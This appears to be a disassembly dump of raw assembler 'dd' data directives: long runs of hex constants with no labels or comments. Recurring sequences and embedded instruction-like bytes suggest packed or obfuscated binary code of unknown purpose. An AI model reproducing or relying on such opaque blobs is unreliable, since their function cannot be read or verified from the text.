dd 67B426C8h, 8A34587Dh, 69EB0693h, 112517Bh, 53A34513h
dd 0A43A45D9h, 1301121Eh, 725A941Ah, 2FC7D048h, 0D34A745Ah
dd 4DA92BC6h, 9737EFBAh, 0D4D8C309h, 0C231B70Bh, 2EC5D24Eh
dd 0E2E7CD3Eh, 0DCD2F8A6h, 20C61C2Ch, 9E7641D4h, 0A24A702Eh
dd 983E1500h, 15928A34h, 82717F1Ah, 0DB23B4D0h, 0AE4C06Fh
dd 2E1E0DEAh, 0F10BC39Bh, 366C6079h, 1C36418Ch, 0EA8E6688h
dd 0A080EB4h, 0DE40A15h, 362A879Bh, 378747A9h, 90BEED5Fh
dd 10ED094Bh, 28CBD448h, 48C9EA98h, 0DEC61717h, 9D03C9F9h
dd 423AD53Eh, 0BB2438B2h, 95021EE2h, 6572EA5Eh, 472D9E8Eh
dd 7E1FB8B4h, 0A83D36C8h, 43C52CB5h, 2A046ADh, 0E6A65EB8h
dd 30C42AACh, 0BE35A2BEh, 12D4h, 958E3000h, 974DF100h
dd 0E6A65E2Dh, 8D698729h, 47844FE6h, 0CF41B015h, 39AB4653h
dd 0C537BA27h, 54C82BAEh, 0C335BCDDh, 50C42FAAh, 0C034BFD8h
dd 4DBF32AFh, 5D2AC9D0h, 5E08950h, 4, 42Dh, 24048700h
dd 2434895Ch, 81E18951h, 4C1h, 4E98100h, 87000000h, 895C240Ch
dd 0E68243Ch, 89000066h, 5653240Ch, 0C547FB68h, 814E5E1Ch
dd 0C66C16EEh, 95CE813Dh, 8113D754h, 0C395E8EEh, 5EF389D6h
dd 815BDF89h, 4ECh, 24248900h, 4240483h, 8B85059h, 1000000h
dd 0FE8956C8h, 585E3089h, 592434FFh, 4C481h, 3C8B0000h
dd 0E1895124h, 4C181h, 0C1810000h, 4, 5C240C87h, 0F92F4FE9h
dd 0E4345EFFh, 602ADE16h, 4EF2B823h, 0C503093Ch, 83C0E0FFh
dd 0A3DA7971h, 0F97E338Ah, 0FFC4125h, 268B3928h, 718B2845h
dd 72883EFEh, 0EA3B7F80h, 0BFB50EC1h, 4EB6EFDh, 7EB42C71h
dd 540E9h, 0F5D28000h, 0A43D30A8h, 0F3EE81F7h, 993E36AAh
dd 0F4E57C04h, 0EB9FECA7h, 0C2366772h, 0E96F2CA9h, 0AF316A77h
dd 0D37526B3h, 0F2DFE5FBh, 0CADB12F9h, 0AE2B4709h, 4158D143h
dd 0E1FC738Dh, 0ACC03815h, 0D04CC033h, 0D6FA8B99h, 0CF2134A8h
dd 24BDB024h, 0FF568CDh, 0F4BD724Ah, 88F3FB14h, 337EF26Ch
dd 4A05F2CEh, 48559B99h, 0CD019E90h, 3BD9E301h, 0DBCD1C36h
dd 15975A47h, 7ADF3DBh, 31C363Ch, 0BC4419DDh, 4ABE35A2h
dd 0B6FCA2D1h, 0B21C363Bh, 0BD2FC22Ch, 14BA39A0h, 363BE4CEh
dd 40BEE01Ch, 0DD44AF28h, 0B3D19480h, 0E9877262h, 3529AFECh
dd 10B745ACh, 151C363Ch, 123B1C08h, 55895000h, 67h, 77EB1536h
dd 0F105876Ah, 6A06E37Fh, 0BE02866Dh, 0B83FC8ECh, 24CF2182h
dd 35E53094h, 3D91351Ch, 35E51DA7h, 0BEDB551Ch, 8D13B133h
dd 2F281C69h, 895055DEh, 189h, 2A474A00h, 0CA5F1FAFh, 62672151h
dd 43B53CB8h, 9A40B32Eh, 116B2E2h, 0EB8079EFh, 7AF400EEh
dd 97FEF5E2h, 0B6AB5E46h, 72EE722Bh, 47933865h, 38A5BB2Eh
dd 54C93BB6h, 8E36A64Dh, 0DE4F56Ch, 2E166B8Bh, 0C6D7C25Bh
dd 29CFA0E0h, 44A7D31Eh, 0B5223EB0h, 5855CA3Eh, 9719D8C1h
dd 8B197559h, 1C35DA41h, 2E0FB335h, 5ED95DB4h, 5637B63Eh
dd 0B9E4E5CFh, 0CE895083h, 0B9h, 0AB2E47FDh, 418A248h
dd 0C72AB7ABh, 0D14BAB45h, 376D215Eh, 1C36418Dh, 377D6789h
dd 331C3641h, 338B43ADh, 0DB734520h, 7F586828h, 574DDE03h
dd 31A32ACAh, 0DC50A33Eh, 0CECB6445h, 72E3D120h, 0B726E782h
dd 0B6233ACDh, 0DFFA73E5h, 0D54C6E14h, 0B9263AC4h, 0CC3EB63Ah
dd 0A63B1554h, 0FE8C995Eh, 948F01F0h
dd 6E801911h, 841D1183h, 260E7F6Dh, 4C804E43h, 362A2C96h
dd 7886281Ch, 0A6FBFBE4h, 16809DBEh, 0B20A8950h, 20EC1AA5h
dd 0BA6195EEh, 4Fh, 0AB2E4719h, 318A248h, 1DD95B96h, 0B0EE8DA3h
dd 1C36420Ah, 0DB16D8FEh, 39CCB845h, 0EB15B920h, 0B98E6673h
dd 0AF2A471Ah, 4211B444h, 2C431C36h, 55CE42B1h, 0D94CB140h
dd 32C310EBh, 0E07B8542h, 7A7AFEF5h, 4FF97BD2h, 1EC89h
dd 479B0000h, 0D246AD28h, 3B811F5Eh, 2F1C3641h, 0BCAC47A9h
dd 9D92654Fh, 3C32CC00h, 24D0549Fh, 752D7847h, 639C4B59h
dd 3E601503h, 25BB0FB3h, 13011B9Fh, 0B43F5AD7h, 0E80C9230h
dd 73EDFA76h, 0E7098B66h, 0B12E42B6h, 1C0AB242h, 91A1301h
dd 0E3FC701Bh, 71EA14BAh, 18DBFC74h, 209A5A94h, 0EC60930Ch
dd 0D9FC7770h, 7458961Ah, 10F9B50Ch, 0C135E8C8h, 9381D242h
dd 326B74E8h, 85B04D80h, 11F1A92h, 2E790000h, 0D50BC39Bh
dd 15035F4Eh, 5BCD24CAh, 3FC1DAC7h, 0C93BB623h, 13BC1E55h
dd 0FF0C7AEFh, 419202F1h, 2BB4A853h, 9C0519A3h, 0F3CB8358h
dd 47309DE5h, 0A040B489h, 92850F6Dh, 726F03FDh, 52F9FD7Fh
dd 36h, 0D7872E81h, 36BA395Ch, 14CE14B8h, 901C3642h, 6F55E30Eh
dd 861C3641h, 2A9B59Fh, 9E548A42h, 1A1C3641h, 4E943894h
dd 1C364164h, 0E1B63E60h, 0A4A9h, 9B2EEA00h, 72D50BC3h
dd 66150369h, 0C10DB140h, 1169923h, 4950C913h, 0F81757Bh
dd 63158613h, 0FAD2CFh, 0EEEB846Dh, 876F8103h, 17277808h
dd 12091301h, 65F86C87h, 92C5757Ch, 56ECE5FEh, 0AA9A0B79h
dd 4F00DCFh, 6F558B3Fh, 691300FAh, 0A5357D0Ah, 0FEA022C3h
dd 0DB9798C2h, 7C78881Bh, 0EC816E02h, 856B6E05h, 9704EA6Eh
dd 0A925FDC8h, 0D4C667FBh, 81990F0Bh, 9957D918h, 4D4AE65Ah
dd 0F1E47F81h, 3D8E7E05h, 70388B57h, 9014DFF8h, 20306E5Eh
dd 0D4150105h, 10CEFAD2h, 1300FAAAh, 1FFCF89Eh, 2BB9152Ch
dd 1C3641A1h, 50E31395h, 8D418D45h, 0C3499435h, 0B6AD4344h
dd 9B29CD23h, 1509F1C7h, 56CA29AFh, 13A38FDAh, 0D7AA78EAh
dd 0F9C903C9h, 0FFF1F712h, 3834ACF1h, 41C4549Fh, 0F36281C2h
dd 1D8F627Fh, 0C65E9504h, 5FAC4F35h, 513116FEh, 32985639h
dd 2BB6AB14h, 4AAA44C8h, 5A435CD0h, 0E60D8AA6h, 16DDFA72h
dd 0E1108DA2h, 0CE7F26Fh, 0D81B8498h, 7E66B754h, 0A89C097Bh
dd 435841DDh, 0B938A1BDh, 3D1h, 844F0200h, 41B01547h, 0AB4653CFh
dd 37BA2739h, 0C82BAEC5h, 35BCDD54h, 0C42FAAC3h, 34BFD850h
dd 0BF32AFC0h, 2AC9D04Dh, 4EC835Dh, 89243C89h, 4C781E7h
dd 83000000h, 3C8704EFh, 89575C24h, 4C781E7h, 81000000h
dd 4EFh, 243C8700h, 240C895Ch, 81E78957h, 4C7h, 4EF8100h
dd 87000000h, 895C243Ch, 0B850243Ch, 629D1403h, 9F3BC468h
dd 0C10159A6h, 6EB36858h, 24890000h, 24048124h, 4, 4EC815Fh
dd 89000000h, 478F240Ch, 2434FF08h, 4C4835Fh, 56240C8Bh
dd 0C681E689h, 4, 4C681h, 34870000h, 0D5E95C24h, 63FFF929h
dd 0DDB4EC57h, 5473B843h, 0C503093Ch, 1096E0FFh, 4E751864h
dd 2D5555C4h, 9E865E50h, 52590B8Fh, 26825C7Bh, 0B0CF209Eh
dd 0A2E41770h, 8D8D358Dh, 93C55FFh, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 15h, 2AC35242h, 298D89B7h, 0F093516h
dd 684h, 1DB58B00h, 0C709351Ch, 35287D85h, 5AF809h, 51006A00h
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1A04h, 0C3514100h
dd 1A5A3D13h, 8BF15A1Ah, 35230D85h, 5585C709h, 93522h
dd 6A000000h, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 15042444h, 42000000h, 0BDF4C352h, 1D41BD01h, 0B5FF0935h
dd 9351239h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 17h, 0FBC35646h, 81C05DA2h, 1B2E7FCBh, 595FF12h, 8009350Dh
dd 6AA6CEh, 82995FFh, 0C08B0935h, 95359EBh, 1A097F96h
dd 0D7772937h, 1EAFD77Eh, 0C58C8394h, 3B3C6822h, 9825F889h
dd 7BCC00EAh, 0F9BCAD81h, 3A336AEh, 1E9B985Ch, 261303A8h
dd 5F5DDB85h, 413953C5h, 54C4165Ah, 8CC5F8Eh, 0ADBF2B93h
dd 36CAEA5Ah, 3F91B27h, 0E96AE032h, 0C25D8436h, 1BC03512h
dd 0EBE672F0h, 10A4C904h, 559E91Ah, 7DDF0000h, 0A0BD4358h
dd 839C6439h, 5BD38516h, 829B5D3Eh, 0FC8D8617h, 1982170Eh
dd 0D4C9CC67h, 1885120Ch, 0CAD3CC60h, 0D2F8A6E6h, 0C612F9EBh
dd 2B47B615h, 58D143AEh, 88A45C41h, 0C68D6BE1h, 0E70913A0h
dd 1B84980Ch, 0D0C964D8h, 7B69BC21h, 9A039C90h, 0C885CCB4h
dd 817065FEh, 580EC3FFh, 0E40F8AA3h, 0F4668E60h, 86405D7Ah
dd 0C3FE9836h, 0E5112390h, 9E8F56Bh, 0FAF99C97h, 0AEAB990Ah
dd 0F5DD94CEh, 11935E7Bh, 0DB8D62B1h, 128FA11Bh, 3E5BD789h
dd 0ECA225B3h, 5ED21C35h, 203EB241h, 0BC32AFC3h, 674DD035h
dd 0D6BE4F84h, 504E98F5h, 0E8F6D289h, 1C35F8E2h, 7524D0D6h
dd 81h, 26B3AF51h, 2B472FCEh, 0D1789E80h, 3EB58D5Ah, 90D599FEh
dd 923AB43Ah, 7FC7442Ah, 569E1A3Dh, 498549D7h, 7B8A1C35h
dd 0F17DD089h, 1EA8950h, 0A9000000h, 0A12BB915h, 9F1C3641h
dd 3641BB01h, 9B29AF1Ch, 0F26FE115h, 54660CE7h, 0C537BFD8h
dd 0EBD10FA8h, 0DF1C3641h, 48BC37B9h, 0B82CC7D0h, 43B53CA5h
dd 0DA3FB22Fh, 2DDE998Bh, 0CBFFC4B0h, 3641AF15h, 0F105AB1Ch
dd 0A6F7E27Fh, 0FCA13E32h, 0AB2E4757h, 1B869923h, 4DE054DBh
dd 872F9D54h, 41179D43h, 8D131C36h, 5D281C69h, 10C8D5C4h
dd 7943611Ch, 6D1C3641h, 4EFE1B3Dh, 8D63B9D6h, 31C9063h
dd 70E95B96h, 0F6FDE479h, 0D1757C72h, 3598A913h, 5FB9D1Ch
dd 0F6E37E6Bh, 1A8BF9F8h, 8C424F2Ah, 14E0FD72h, 9CF0D5BFh
dd 3598BC06h, 8A36B81Ch, 6FEB1898h, 9030C468h, 89507B4Dh
dd 8A3Ah, 0AA389400h, 1C35D020h, 0BB629214h, 0A12BB915h
dd 951C3641h, 4209B3F1h, 0DBFD1C36h, 0F66FE115h, 839C10E3h
dd 0F469DB16h, 9B9206EDh, 914FF3FEh, 1C36412Bh, 0C263791Fh
dd 0A7F617D2h, 82698BDh, 0A1B6688Bh, 60C8F827h, 0D14BAB45h
dd 0A45C4158h, 73E50C8Dh, 3213DEFBh, 0D508C1B3h, 0B28950FCh
dd 45h, 0AB2E47E1h, 3D5AD448h, 17FD1EB6h, 0F4AACD64h, 1C3641CEh
dd 2CA24CAh, 777A67F8h, 822C01F5h, 0FAF9E678h, 15DF7E76h
dd 8A6974EBh, 0E17CEE06h, 646BF9F8h, 691C3641h, 5EAFA89Ch
dd 9894FF9h, 1, 0AD2847CAh, 415ED246h, 6351C2B2h, 0B21A8798h
dd 0F720CCCAh, 92621AE9h, 999F2AB5h, 53E324BCh, 0AE1ED0EBh
dd 4F48E0DAh, 0EBCE19A7h, 2CB21502h, 0CB6ECA0h, 81300E4h
dd 1D8F0EE6h, 7D039801h, 6BF9F8E1h, 1300E363h, 0F6FD9897h
dd 62FFEC82h, 0F6F87C77h, 0AC9865FBh, 219B13C9h, 0DC60930Eh
dd 2ED9CB18h, 80F8A532h, 5A00F3ECh, 22D1CE60h, 48E4569Eh
dd 23F7F4Fh, 16A92929h, 757B1816h, 9814B59h, 73751301h
dd 3F8CFC83h, 0D14E7055h, 4BAB2DC4h, 0C4165DD1h, 0C26E1748h
dd 9E8815DBh, 0A60EB4EAh, 0E40A1300h, 961D7010h, 2B4A9285h
dd 84000001h, 0B1309A48h, 82241300h, 0FFF7E07Ch, 0C39B2E60h
dd 5F4ED50Bh, 24CA1503h, 999729CDh, 0EA86F8FCh, 3428B0EDh
dd 58D448ABh, 2B40B43Fh
dd 5AD143AEh, 2FAAC13Fh, 0C0D950C4h, 88D5AF31h, 0BA2BD99Ch
dd 0B6233FCAh, 0E8BA416h, 0EC2111E6h, 7B928516h, 31h, 0C7872E4Ch
dd 4223D907h, 11971C36h, 416852E2h, 0AA771C36h, 2FFFB6BAh
dd 41EB019Fh, 0C5091C36h, 3641951Fh, 0E70F911Ch, 0FCE6B739h
dd 0A6h, 0C39B2E4Dh, 5F7AF10Bh, 8AADF397h, 7E150369h, 0D64A7458h
dd 4EA62AC9h, 9E912BCFh, 7465FD03h, 85120E80h, 0D3CC6018h
dd 302DCFFBh, 16913BA9h, 63851301h, 54660C93h, 0D210BCDDh
dd 130116E8h, 0A43ABADCh, 130116F3h, 6D180C19h, 14B3E8F1h
dd 5A47D981h, 55AA3894h, 5F0BD4E8h, 2A46BA39h, 5DD246ADh
dd 233FB140h, 47B93BB6h, 0D646AD28h, 0A6DC9F85h, 5643DCDEh
dd 0AA37299Bh, 0CB2BC547h, 5C98E76h, 2CC4D5DFh, 27CFD11Ch
dd 712F099Ch, 1C2CC44Bh, 2CB5A93Fh, 43AD43C5h, 96A4558Bh
dd 8E101500h, 9B2E1E0Dh, 24D50BC3h, 90150A14h, 0FD71E30Eh
dd 5F98E8E4h, 0A9C0BE49h, 7800DD19h, 87120BE4h, 81FA8A69h
dd 0C405DE10h, 94887361h, 52CE920Bh, 1A879923h, 258F55D7h
dd 210225EFh, 0E82717Fh, 0B34D8116h, 4BD222BFh, 3F04F05Dh
dd 0BF37A2BDh, 0D3C8D14Dh, 6988110Dh, 381h, 844FD200h
dd 41B01547h, 0AB4653CFh, 37BA2739h, 0C82BAEC5h, 35BCDD54h
dd 0C42FAAC3h, 34BFD850h, 0BF32AFC0h, 2AC9D04Dh, 0E289525Dh
dd 4C281h, 0EA810000h, 4, 5C241487h, 68241C89h, 4308h
dd 51241C89h, 0C181E189h, 4, 8704E983h, 895C240Ch, 68552434h
dd 56AC0B83h, 0C581455Dh, 19660ED7h, 4F23BE56h, 0F5096281h
dd 13ED815Eh, 89695709h, 8B545DEBh, 0C4812434h, 4, 242C8153h
dd 3A341D5Fh, 8108468Fh, 1D5F0846h, 348B3A34h, 0E1895124h
dd 4C181h, 0C1830000h, 240C8704h, 2434FF5Ch, 4C4815Bh
dd 0E9000000h, 0FFF92324h, 0BCE2070h, 0F1F7CC3Ch, 0BC60FDE4h
dd 0B8A888A2h, 93C5B23h, 0E0FFC503h, 7B3C12DCh, 682283CEh
dd 8D5EC0Fh, 7B410C0Ah, 558EE4F3h, 66F6C4F6h, 4DB54F14h
dd 8ADDC29h, 506D2C6h, 510006CDh, 24A347C7h, 75ED94BAh
dd 400D6047h, 566C0DA3h, 47032062h, 57DF928Dh, 402AD212h
dd 687CE9C6h, 0CACEB20h, 1142DD44h, 181B04EBh, 3DE97BE2h
dd 22000005h, 560A9330h, 1BDDBEDBh, 7C049904h, 36AAF3E4h
dd 3A019A3Fh, 4950C941h, 2978C54h, 4C49E799h, 0C95894Fh
dd 0AFF5998Fh, 12F9E605h, 47EFD401h, 0D143AE2Bh, 0A45C4158h
dd 70E40F88h, 6A10E3FCh, 37BFD850h, 0C231A8C5h, 3D1A0A5Bh
dd 41695391h, 39671C36h, 1C364193h, 3D636187h, 0AE2B47B9h
dd 15829C1Eh, 0BD9A5ADEh, 14B8253Bh, 876A77EAh, 641CF105h
dd 0CD01CDCAh, 3641AD17h, 0EF07A91Ch, 7267FC70h, 5044917Fh
dd 8D0E8BA5h, 0A74A57CBh, 3641B619h, 7A6ABB1Ch, 4FFA2C61h
dd 583B89h, 478C0000h, 36A3BE2Bh, 23AB39B8h, 2C1C3641h
dd 9BF2EBD9h, 0CC894FF9h, 6, 6B6C04F6h, 2A47E48Bh, 356B1FAFh
dd 1C36418Fh, 1291658Bh, 3882206Ch, 2C1C3641h, 5DD04AAAh
dd 34BADF54h, 0C6D34BBDh, 6D57C62Bh, 811A879Ah, 257663FFh
dd 80B34181h, 0D85A7FFEh, 2E47751Ch, 0D0CDA7Dh, 806EA709h
dd 0E301CD71h, 1C3549D9h, 0B12BCBCDh, 5ECE25BCh, 0FD7407EDh
dd 2539BFDCh, 0ACC335BCh, 86DFC231h, 0F7A0BD9Eh, 7CE78950h
dd 0A8000000h, 6772EB15h, 95041D8Fh, 6875EA5Eh, 507A2864h
dd 801C3641h, 0C8CEF4EDh, 0DD40A52Ch, 6C6D04F7h, 29B0A92Fh
dd 11BBE9A5h, 51C3642h, 0E68C13E3h, 0FDA69C96h, 114A7663h
dd 0E4569E6Eh, 0C5A84B4Ch, 20B9B909h, 50AFDBE8h, 64654FA4h
dd 8950B239h, 7E4Eh, 2E477D00h, 0B937A2BBh, 3BA8C63Ah
dd 94598720h, 0CE2A55A4h, 0CCF6AC20h, 0C81C35DCh, 9329C826h
dd 7EF78272h, 1591425Bh, 8D6974EBh, 9E931E13h, 41F9C3E1h
dd 0EBED1C36h, 846AEE05h, 41D8DF6Dh, 10081C36h, 41753F65h
dd 6F711C36h, 66FE7281h, 0FDF4ED81h, 8E7E757Bh, 2C72573Dh
dd 1C364186h, 41925C82h, 0CF19255Dh, 0E211869Eh, 9509625Eh
dd 23115E96h, 5086E32Ah, 18489h, 47430000h, 0D246AD28h
dd 0C2B2415Eh, 54666351h, 0C739BDDAh, 0B6702DA8h, 90076906h
dd 0FBFBB282h, 49855D68h, 0D6E57B85h, 355102C8h, 0FEF0F61Ch
dd 727D68F6h, 5D831502h, 0E49CF096h, 0FEBE1B77h, 43895B8Eh
dd 371300FEh, 3D871DB1h, 391300FEh, 51CD3FB7h, 918D5348h
dd 735BE908h, 831300FEh, 0ABC7B2A2h, 1C9E2Eh, 0FE852F75h
dd 5F811300h, 0D0886591h, 3F8B435Ch, 0FE1BA1h, 0A75D0D13h
dd 902623ACh, 0C948AC32h, 33BEDB57h, 996C58C5h, 0EB01C85h
dd 0EE728116h, 59FAC0DEh, 0E8EE1300h, 527B2F0Ch, 189285E2h
dd 65842E74h, 5E801300h, 14FEF96h, 2EA00000h, 0D50BC39Bh
dd 15035F4Eh, 29CD24CAh, 0DCFD259h, 46B8F83Fh, 0C246AD2Ah
dd 3BA4B832h, 15829E62h, 0E9F66ADEh, 5B499A0Ah, 99D83E7Eh
dd 0E1A76013h, 1A879B15h, 8C1508B2h, 6E9F9368h, 0F9928530h
dd 6Eh, 0A7AD15DAh, 0D15CE29Eh, 0FA631C5h, 833B8F3Fh, 0D50B86B4h
dd 1C35E8EFh, 86FDC5EBh, 59E70F92h, 1C3630A3h, 0D2629117h
dd 1C3630E8h, 0B4A90618h, 0AC42C62Dh, 435ED345h, 0E8DC49B0h
dd 4133D20Dh, 0C393C84h, 1132B66Ch, 1C16C3Ch, 0C72FA0AEh
dd 19B5753Ch, 3613718Bh, 202F8F1Ch, 0F9486BF7h, 21974DA9h
dd 425B950Ch, 9C48h, 0EB158900h, 85996772h, 0A353D51Ch
dd 41DD8510h, 0A8369658h, 150368A5h, 0BA5BDDA5h, 3057C78Eh
dd 0B24156CEh, 9618C62Eh, 3E75E95Bh, 0D6D85591h, 0AA2F4746h
dd 6FF1AA44h, 7D0BE6F3h, 13013A0Ch, 46312300h, 414A7F2Ah
dd 651DF8A1h, 0A21C128Bh, 63E50C89h, 0DDB50093h, 1A01B3F1h
dd 0FDFF0BD5h, 0C67C7861h, 552DD120h, 4B3B21DCh, 0B22CC899h
dd 0E2D221BEh, 0D4DF8371h, 322ED0FCh, 0E4AEB977h, 21CF3456h
dd 2A64ED2h, 42CEDCh, 0B896EA15h, 93B0E36Fh, 0E8DEBF31h
dd 0B83C59D6h, 0C39B2E19h, 1DE7D50Bh, 0CDD3150Ah, 7461FF01h
dd 74FBFB7Dh, 5B736C00h, 0E54B712Fh, 993F12F9h, 64F8805Dh
dd 0E70A978Bh, 17829B65h, 188A1AD9h, 1865ABDFh, 0A5696D04h
dd 82EF19A0h, 1D13856Ch, 4ADB7180h, 0EF6E9F5Ah, 0E1FE7205h
dd 0AF2844BCh, 1D58D044h, 54123D87h, 39B739A0h, 6B59CABAh
dd 8A138CA0h, 851B5AD6h, 0A054123Fh, 0B83BB53Bh, 3CEh
dd 844FFF00h, 41B01547h, 0AB4653CFh, 37BA2739h, 0C82BAEC5h
dd 35BCDD54h, 0C42FAAC3h, 34BFD850h, 0BF32AFC0h, 2AC9D04Dh
dd 5954515Dh, 4C181h, 0E9830000h, 240C8704h, 81E685Ch
dd 3C890000h, 4F5F6824h, 14890000h, 0C4BD5524h, 0BF5B8D28h
dd 52B174E1h, 2C8BEF31h, 4C48324h, 8904EC83h, 4812424h
dd 424h, 81575A00h, 62E2434h, 428F0EE8h, 8BB5308h, 1000000h
dd 2E3381D3h, 5B0EE806h, 5124148Bh, 0C181E189h, 4, 4C181h
dd 0C870000h, 3C8B5C24h, 0E3895324h, 4C381h, 0C3810000h
dd 4, 5C241C87h, 0F91D83E9h, 5360BAFFh, 8C95032Ah, 6EF63DD7h
dd 3C3CDB9Eh, 3C60C7B8h, 0FFC50309h, 0D80978E0h, 3E69C82Fh
dd 0E08991Eh, 6221454Fh, 7413FB58h, 1C642E54h, 14F2F136h
dd 8591FD3Dh, 0D0BBAB18h, 28DD8754h, 0B6FD9377h, 0B90A1825h
dd 3267E649h, 0A72594Ah
dd 0B786224Fh, 236B3449h, 947D284Dh, 7EC6773Dh, 89320C03h
dd 9632EF31h, 74B41236h, 0EB4F6073h, 6F227B0Ch, 9DFF3575h
dd 0DA07BF2Ch, 6761773Ch, 0B7231D73h, 0F39AEA39h, 6464D323h
dd 0BD77A55Bh, 57BBB37Ch, 4304EB66h, 0E967AC37h, 54Ah
dd 0D9C2E755h, 0E8F0A27h, 0D3C8D54Ah, 1784150Dh, 0CCD1C861h
dd 59D0BACFh, 8EA55B40h, 50CE920Bh, 8AA65A43h, 0F498900Dh
dd 0F9E104AEh, 0F0D30012h, 43AE2B47h, 0D889DF9Fh, 1ADDC9E4h
dd 0D0C960DAh, 801915CBh, 5463FF71h, 3590248Eh, 707E201Ch
dd 45A4245Ch, 0C8633BD3h, 0C101A52Ch, 0B1AE4741h, 774BCD24h
dd 0EEB49575h, 1C3548C4h, 24D01EC0h, 0C72AB7AAh, 1912AC62h
dd 0F003948Ch, 1D72826Ch, 0AF284437h, 0E7F46AEEh, 0AF2C42B6h
dd 41C9E44h, 18DC6093h, 0E9088DA6h, 9DBAAAFBh, 4909B3F1h
dd 25391C35h, 14E006BCh, 8617849Ah, 92071EA0h, 0A719DD5Fh
dd 92071E8Bh, 6574ED5Fh, 0AE40A8Eh, 0B72038C2h, 8D30C03Fh
dd 941C3548h, 93BA9381h, 0D48950F2h, 83h, 0AE2B47B3h, 4211B543h
dd 7161C36h, 0FA113C1Dh, 156894Fh, 35000000h, 44AF2A47h
dd 93165DD0h, 0FA8EC683h, 781ED51Bh, 1739E848h, 1FC55C62h
dd 1C35CF95h, 0E1E10F91h, 0D6814F2Eh, 3DAF4748h, 0D83DB425h
dd 0EBA9F85h, 2B9E24BAh, 149A1C36h, 362BE4CEh, 36BEE01Ch
dd 6B30A9C4h, 0DDF4FBC3h, 813EF82Fh, 1F5E07Fh, 0BEE4938Fh
dd 1C35DDF4h, 0CC00EEF0h, 4FA23F32h, 0B349789Fh, 6E806F03h
dd 4702B186h, 5B23AB2Eh, 0BCD42191h, 15531B08h, 1EC500C0h
dd 0ED5FDE16h, 33994770h, 271C3641h, 0F4E17F81h, 7E757BFDh
dd 24D7BD0Eh, 8E346A0Dh, 8A1C3641h, 17DAFF74h, 8955B95h
dd 30C3DC50h, 0BB36A3BCh, 29C8D149h, 0D61DB8B7h, 0EC8F75E6h
dd 795242A3h, 89500024h, 0C263h, 2E472400h, 396723ABh
dd 1C364193h, 0C62DA8C3h, 965E8042h, 0F8AA517h, 7078FFBFh
dd 0F004B1B3h, 363308B2h, 14DAFC1Ch, 0A9FC61E0h, 4059D0BBh
dd 0B94D348Ch, 0D1FA5C88h, 99904825h, 5DF4CC00h, 5407B851h
dd 7FF17084h, 0F920C4E7h, 0AA543157h, 47C928B5h, 0BA8319A9h
dd 0B1B528DEh, 54D1B43Fh, 0AA366760h, 0AA548950h, 4BCD24B1h
dd 0DB1BBEB5h, 6F2Ch, 0CF645600h, 9A3F34CAh, 8221D557h
dd 0A12BB915h, 951C3641h, 0F069E313h, 47DBE5E9h, 0A1139A5Ah
dd 0EBA128Fh, 3641EAD0h, 10BAE81Ch, 41C3642h, 36BEE0E2h
dd 100421B7h, 1CDCC65h, 0D9E301CDh, 0CD1C3641h, 41B319CBh
dd 1A71C36h, 473318F5h, 0B444AF2Ah, 1C364211h, 0C4DAAE18h
dd 1C3641FEh, 0B300F4FAh, 0F9C508C1h, 1A2894Fh, 0F1000000h
dd 46AD2847h, 0DC515ED2h, 44AA2EC5h, 664EBFADh, 4D772D61h
dd 491C3641h, 41555F85h, 4F511C36h, 44DB55A1h, 10A34459h
dd 0F66A9438h, 43610DE9h, 15036394h, 36864668h, 8200B3D9h
dd 941BDB6Bh, 0A930C20h, 36BDDA56h, 0C91EA6h, 0E7CD2E13h
dd 1E7F1814h, 1AD9C65Ah, 0E60D8AA6h, 4C3F2576h, 0F4D6C7D0h
dd 92857199h, 138CEh, 9B2EFD00h, 0B1405DD3h, 1168932Fh
dd 86702DABh, 251C6468h, 6C568CE2h, 681C3554h, 69BD7A46h
dd 0A836E212h, 15027481h, 0F2E77F81h, 0A74A4C02h, 0FBA03935h
dd 1F0E985h, 0EB06938Fh, 5124107Dh, 0EFD7C4DDh, 0AC4851CDh
dd 85F0C904h, 639E92h, 2EED0000h, 0C307C787h, 3AB92039h
dd 3AB03EB6h, 0AE1C3642h, 0BAE8A428h, 1C364210h, 5F7CF204h
dd 4EDE6591h, 1C364164h, 0DD14859Ch, 7EAF76Bh, 1DD8CC19h
dd 7CF20CC2h, 0E410945Fh, 0F2B9A58Fh, 0EE049A32h, 141C3641h
dd 0FB7673EAh, 5F9113DEh, 2EE41094h, 8EF7F3A8h, 53000000h
dd 0BB0B886Bh, 39BDAC54h, 0C39B2E9Ah, 6972D50Bh, 40661503h
dd 0B6233FB1h, 0E2FF73E5h, 0EC4292EAh, 0AE4550CFh, 6106962Ah
dd 5CEC7383h, 1300512Bh, 0A55044E1h, 0AB0EE89h, 3A130051h
dd 0E40AB825h, 239D910Ah, 17829D08h, 5E9658DCh, 0C408C0D3h
dd 0D4327F1Eh, 5B73750Bh, 2DBB0623h, 0DC18489Fh, 524FE355h
dd 0F64F427Ah, 0DE3C81A2h, 3CA99716h, 1711A448h, 2CEE4389h
dd 0F91351Ch, 7EAF2DC8h, 804CA244h, 0C04362h, 6637B915h
dd 0C39B2EC5h, 23DAD50Bh, 983E150Ah, 4E4BE759h, 0A978B4Dh
dd 0B09559E7h, 0AEC56969h, 39B7223Bh, 0E4CE14BAh, 0E0B48A10h
dd 0B42D40BEh, 4B56CB3Dh, 0DBF8EC39h, 8A10FFC5h, 0FBF5FBB4h
dd 0ACC23C12h, 0B440C42Fh, 0EE82755Fh, 3834ACF1h, 48E0549Fh
dd 1ED5C05Fh, 0C729B6AAh, 89DACA29h, 417CF09Bh, 8A1019A3h
dd 658B0DB4h, 33ACC038h, 3D6C0h, 4F370000h, 0B0154784h
dd 4653CF41h, 0BA2739ABh, 2BAEC537h, 0BCDD54C8h, 2FAAC335h
dd 0BFD850C4h, 32AFC034h, 0C9D04DBFh, 26685D2Ah, 8900004Fh
dd 0BE562424h, 4, 4247401h, 66C6685Eh, 3C890000h, 2506824h
dd 34890000h, 7FA7BF24h, 0C14F25D4h, 554708EFh, 19B572BDh
dd 5DEF3109h, 8904EC83h, 4812424h, 424h, 0BB535E00h, 8
dd 4E68C381h, 0F3011C69h, 4E68EB81h, 3B891C69h, 2434FF5Bh
dd 4C4835Eh, 5F2434FFh, 0E904C483h, 0FFF917A0h, 988E779Ah
dd 0C8B88F0Dh, 3093C66h, 0CDE0FFC5h, 4B6A80B2h, 923DCDCBh
dd 736188A8h, 0C84E21DCh, 0A3C357Ah, 2652C79Bh, 8D482A31h
